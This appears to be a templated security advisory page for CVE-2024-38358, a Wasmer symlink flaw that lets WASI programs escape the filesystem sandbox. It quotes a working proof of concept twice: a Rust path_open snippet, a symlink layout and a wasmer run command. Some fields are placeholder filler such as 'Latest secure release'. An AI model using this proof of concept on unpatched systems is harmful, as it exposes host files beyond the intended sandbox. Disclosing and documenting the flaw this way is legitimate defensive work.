CVE-2024-38358: Wasmer Symlink Bypasses Filesystem Sandbox Vulnerability

LOW
Advisory Identifier: GHSA-55f3-3qvg-8pv5
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CVSS 2.9
CWE-22
Published
Advisory Summary

CVE-2024-38358 is a LOW (CVSS 2.9) symlink bypasses filesystem sandbox vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Wasmer libraries in the crates.io ecosystem. The issue involves symlink bypasses filesystem sandbox. Remediation is available in the latest vendor maintenance releases.

CVE-2024-38358 at a Glance

CVE Identifier CVE-2024-38358
GHSA Identifier GHSA-55f3-3qvg-8pv5
Severity LOW
CVSS v3.1 Base Score 2.9
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Wasmer
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 2.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Local (AV:L)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2024-38358

To remediate this vulnerability, upgrade all affected Wasmer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wasmer fixed: Latest secure release 
Upgrade wasmer to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for wasmer

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-38358, inspect your project dependencies for Wasmer:

inspect dependencies for wasmer

Analyze the terminal output to locate any version of Wasmer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Wasmer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. ### Details ### PoC Setup a filesystem as follows. ``` . ├── outside.file └── preopen └── dir └── file -> ../../outside.file ``` Compile this Rust snippet with `wasi` v0.11 (for the preview1 API). ```rust fn main() { unsafe { let filefd = wasi::path_open( 5, wasi::LOOKUPFLAGS_SYMLINK_FOLLOW, "app/dir/file", wasi::OFLAGS_CREAT, wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE, 0, 0, ) .unwrap(); eprintln!("filefd: {filefd}"); let mut buf = [0u8; 10]; let iovs = [wasi::Iovec { buf: buf.as_mut_ptr(), buf_len: buf.len(), }]; let read = wasi::fd_read(filefd, &iovs).unwrap(); eprintln!("read {read}: {}", String::from_utf8_lossy(&buf)); } } ``` Run the compiled binary with Wasmer preopening `preopen/`: ``` wasmer run --mapdir /app:preopen a.wasm ``` This should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.

CVE-2024-38358 Affected Wasmer Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wasmer
 crates.io
≤ 4.3.1

References

GitHub Advisory / Wiki ADVISORY
https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5
NVD — CVE-2024-38358 NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-38358
Security Fix Commit FIX COMMIT
https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662
Wasmer Source Repository REPOSITORY
https://github.com/wasmerio/wasmer

Frequently Asked Questions

What is CVE-2024-38358?
CVE-2024-38358 is a security vulnerability in Wasmer involving Symlink bypasses filesystem sandbox under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Wasmer versions are affected?
Affected versions include releases prior to current release patches across affected packages: wasmer.
What version fixes CVE-2024-38358?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wasmer affected?
Yes, wasmer is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2024-38358?
CVE-2024-38358 has a CVSS v3.1 base score of 2.9 (LOW) with vector string CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2024-38358?
CVE-2024-38358 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check crates.io dependencies for CVE-2024-38358?
Run the dependency tree command: 'inspect dependencies for wasmer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-55f3-3qvg-8pv5",
  "modified" : "2024-06-20T14:14:38Z",
  "published" : "2024-06-07T19:40:00Z",
  "aliases" : [ "CVE-2024-38358" ],
  "summary" : "Symlink bypasses filesystem sandbox",
  "details" : "### Summary\n\nIf the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.\n\n### Details\n\n\n\n### PoC\nSetup a filesystem as follows.\n\n```\n.\n├── outside.file\n└── preopen\n    └── dir\n        └── file -> ../../outside.file\n```\n\nCompile this Rust snippet with `wasi` v0.11 (for the preview1 API).\n\n```rust\nfn main() {\n    unsafe {\n        let filefd = wasi::path_open(\n            5,\n            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,\n            \"app/dir/file\",\n            wasi::OFLAGS_CREAT,\n            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,\n            0,\n            0,\n        )\n        .unwrap();\n        eprintln!(\"filefd: {filefd}\");\n\n        let mut buf = [0u8; 10];\n        let iovs = [wasi::Iovec {\n            buf: buf.as_mut_ptr(),\n            buf_len: buf.len(),\n        }];\n\n        let read = wasi::fd_read(filefd, &iovs).unwrap();\n\n        eprintln!(\"read {read}: {}\", String::from_utf8_lossy(&buf));\n    }\n}\n```\n\nRun the compiled binary with Wasmer preopening `preopen/`:\n\n```\nwasmer run --mapdir /app:preopen a.wasm\n```\n\nThis should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.\n\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "wasmer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "4.3.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-38358"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wasmerio/wasmer"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-06-07T19:40:00Z",
    "nvd_published_at" : "2024-06-19T20:15:11Z"
  }
}